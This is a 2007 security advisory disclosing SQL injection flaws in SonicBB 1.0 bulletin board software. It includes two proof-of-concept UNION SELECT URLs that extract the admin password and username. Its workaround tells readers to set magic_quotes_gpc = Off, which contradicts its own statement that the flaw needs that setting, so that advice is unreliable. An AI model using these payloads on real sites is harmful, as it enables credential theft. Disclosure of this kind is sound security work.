netVigilance Security Advisory #19
SonicBB version 1.0 Multiple SQL Injection Vulnerabilities
SonicBB is a user-friendly and fully customizable bulletin board package. SonicBB is compatible with any web server/operating system combo with PHP 4.x or higher installed.SonicBB is the ideal community software for all sites.
This vulnerabilities can be exploited only when PHP magic_quotes_gpc = Off.
Mitre CVE: CVE-2007-1902
NVD NIST: CVE-2007-1902
SonicBB is a user-friendly and fully customizable bulletin board package. SonicBB is compatible with any web server/operating system combo with PHP 4.x or higher installed. SonicBB is the ideal community software for all sites.
Security problems in the product allow attackers commit SQL injections
Access Vector: Remote
Access Complexity: High
Confidentiality Impact: Complete
Integrity Impact: Partial
Availability Impact: Partial
Impact Bias: Confidentiality
CVSS Base Score: 6.8
Target Distribution on Internet: Low
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Confirmed
Vulnerability Impact: Attack
Host Impact: SQL Injection.
SecureScout Testcase ID:
SonicBB version 1.0
SQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive data, modify database contents or acquire administrator's privileges.
Contact with the Vendor was established and draft of the security advisory was provided on 10 April 2007, the vendor promised to fix the issue but stopped responding to our emails on 10 April 2007. There is no official fix at the release of this Security Advisory
Modify in the php.ini file following line: magic_quotes_gpc = Off.
SQL Injection Vulnerability 1:
http://[TARGET]/[PRODUCT-DIRECTORY]/ search.php?query=1&part=post`<> '' UNION SELECT `id`,`password`,1,1,1,1,`username` FROM `users` WHERE id=1/*&by=*/
Post Title Author
Test Thread admin [SQL INJECTION RESULT - ADMIN PASSWORD] [SQL INJECTION RESULT - ADMIN NAME] ...
SQL Injection Vulnerability 2:
http://[TARGET]/[PRODUCT-DIRECTORY]/viewforum.php?id=1' UNION SELECT `id`,`password`,1,1,1,1,1 FROM `users` WHERE id=1%23
... [SQL INJECTION RESULT - ADMIN PASSWORD]
By ... Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com =09